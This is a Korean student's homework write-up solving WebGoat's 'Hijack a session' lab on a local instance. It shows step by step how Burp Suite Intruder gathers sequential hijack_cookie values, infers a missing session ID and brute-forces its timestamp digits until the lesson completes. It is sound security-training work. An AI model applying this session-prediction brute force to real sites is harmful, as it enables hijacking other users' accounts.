

인터넷응용보안 2주차 과제

202121556 곽지현

HTTP history에서 POST /WebGoat/HijackSession/login 통신을 찾는다.

The screenshot shows the Burp Suite interface with the 'Proxy' tab selected. In the 'HTTP history' section, a POST request to '/WebGoat/HijackSession/login' is highlighted. The 'Request' pane displays the raw HTTP message, including the 'username=test&password=1234' parameters. The 'Inspector' pane shows the request attributes, body parameters, cookies, and headers. The status bar at the bottom indicates 'Memory: 137.2MB'.

Intruder으로 가서 hijack_cookie 값을 삭제하고, test1으로 바꾼뒤 Add\$ 버튼 클릭

The screenshot shows the Burp Suite 'Intruder' tool. In the 'Payload positions' section, a target URL is set to 'http://127.0.0.1:8080'. A payload containing 'username=test&password=\$test1\$' is being injected. The 'Start attack' button is visible. The status bar at the bottom indicates 'Memory: 146.4MB'.

Payload로 가서 아래 Numbers로 바꾸고 0~9까지 1씩 증가하도록 바꾼다.

Start attack 버튼을 눌러 공격을 시작

The screenshot shows the Burp Suite interface with the Intruder tab selected. In the Payload sets section, a payload set named '1' is configured with a payload count of 10 and a payload type of 'Numbers'. The 'Start attack' button is visible. Below this, the 'Payload settings [Numbers]' section is expanded, showing configuration for generating numeric payloads. Under 'Number range', 'Type' is set to 'Sequential' (radio button selected), with 'From' at 0, 'To' at 9, 'Step' at 1, and 'How many:' at 10. Under 'Number format', 'Base' is set to 'Decimal' (radio button selected), with 'Min integer digits' at 1, 'Max integer digits' at 1, 'Min fraction digits' at 0, and 'Max fraction digits' at 0. At the bottom of the window, there are tabs for 'Event log' and 'All issues', and a status bar indicating memory usage.

10개의 hijack_cookie 값을 복사하여 메모장에 저장

The screenshot shows a Windows Notepad window with the title '4616835125680561642-1742263562'. The content area contains ten lines of text, each representing a copied hijack_cookie value: '4616835125680561642-1742263562587', '4616835125680561643-1742263562737', '4616835125680561644-1742263562909', '4616835125680561645-1742263563139', '4616835125680561646-1742263563452', '4616835125680561647-1742263563801', '4616835125680561648-1742263564179', '4616835125680561650-1742263564604', '4616835125680561651-1742263565051', and '4616835125680561652-1742263565624'. The status bar at the bottom indicates the text is in UTF-8 encoding.

4616835125680561648-1742263564179

4616835125680561650-1742263564604

648~650 사이에 649가 로그인에 성공하여 쿠키를 할당받은 경우라고 유추

Intruder를 이용하여 179~604 사이 모든 값을 대입하여 공격

4616835125680561649-1742263564XXX

XXX -> 179~604

Position 으로가서 649의 쿠키 값을 붙여 넣는다.

뒤에 3자리를 선택하고 Add\$ 버튼 클릭

② Choose an attack type

Attack type: Sniper

Start attack

② Payload positions

Configure the positions where payloads will be inserted, they can be added into the target as well as the base request.

Target: http://127.0.0.1:8080

Update Host header to match target

Add \$

Clear \$

Auto \$

Refresh

Content-Length: 27
sec-ch-ua: "Not (A:Brand";v="24", "Chromium";v="122"
Accept: */*
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.112 Safari/537.36
sec-ch-ua-platform: "Windows"
Origin: http://127.0.0.1:8080
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:8080/WebGoat/start.mvc
Accept-Encoding: gzip, deflate, br
Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: JSESSIONID=UhxntqOEU4qoyEPtHSrEPV3Hj_vKjXOpDe00lef; hijack_cookie=4616835125680561649-1742263564\$179\$
Connection: close
username=test&password=test1

1 payload position

Length: 839

Event log All issues

Memory: 146.4MB

179~604까지 1씩 증가하도록 바꾸고 3자리 값이므로 3자리로 설정

Start attack 버튼을 눌러 공격을 시작

Payload set: 1 Payload count: 426
Payload type: Numbers Request count: 852

Start attack

Number range
Type: Sequential Random
From: 179
To: 604
Step: 1
How many:

Number format
Base: Decimal Hex
Min integer digits: 3
Max integer digits: 3
Min fraction digits: 0
Max fraction digits: 0

공격이 완료된 후 Length가 다른 응답과 다른 것을 발견

Request	Payload	Status code	Response received	Error	Timeout	Length	Comment
0		200	12			425	
1	179	200	7			425	
2	180	200	7			414	
3	181	200	8			414	
4	182	200	10			414	
5	183	200	7			414	
6	184	200	11			414	
7	185	200	8			414	
8	186	200	8			414	

Request Response

Pretty Raw Hex Render

```
1 HTTP/1.1 200 OK
2 Connection: keep-alive
3 X-XSS-Protection: 1; mode=block
4 X-Content-Type-Options: nosniff
5 X-Frame-Options: DENY
6 Content-Type: application/json
7 Date: Tue, 18 Mar 2025 02:13:14 GMT
8 Content-Length: 203
9
10 {
11   "lessonCompleted":true,
12   "feedback":"Congratulations. You have successfully completed the assignment.",
13   "output":null,
14   "assignment":"HijackSessionAssignment",
15   "attemptWasMade":true
16 }
```

Hijack a session 파트 클리어

The screenshot shows a web browser window for the 'WebGoat' application. The URL is 127.0.0.1:8080/WebGoat/start.mvc#lesson/HijackSession.lesson/1. The main content area is titled 'Hijack a session'. On the left, there's a sidebar with a navigation tree:

- Introduction
- General
- (A1) Broken Access Control
 - Hijack a session
 - Insecure Direct Object References
 - Missing Function Level Access Control
 - Spoofing an Authentication Cookie
- (A2) Cryptographic Failures
- (A3) Injection
- (A5) Security Misconfiguration
- (A6) Vuln & Outdated Components
- (A7) Identity & Auth Failure
- (A8) Software & Data Integrity
- (A9) Security Logging Failures
- (A10) Server-side Request Forgery
- Client side
- Challenges

The 'Hijack a session' link is highlighted with a green checkmark icon. In the main content area, there are two numbered steps: 1 and 2. Step 1 is labeled 'Show hints' and Step 2 is labeled 'Reset lesson'. Below these buttons, a text box states: 'In this lesson we are trying to predict the 'hijack_cookie' value. THe 'hijack_cookie' is used to differentiate authenticated and anonymous users of WebGoat.' A form titled 'Account Access' is shown, containing fields for a user name ('jihyeon') and a password ('*****'). A blue 'Access' button is at the bottom of the form.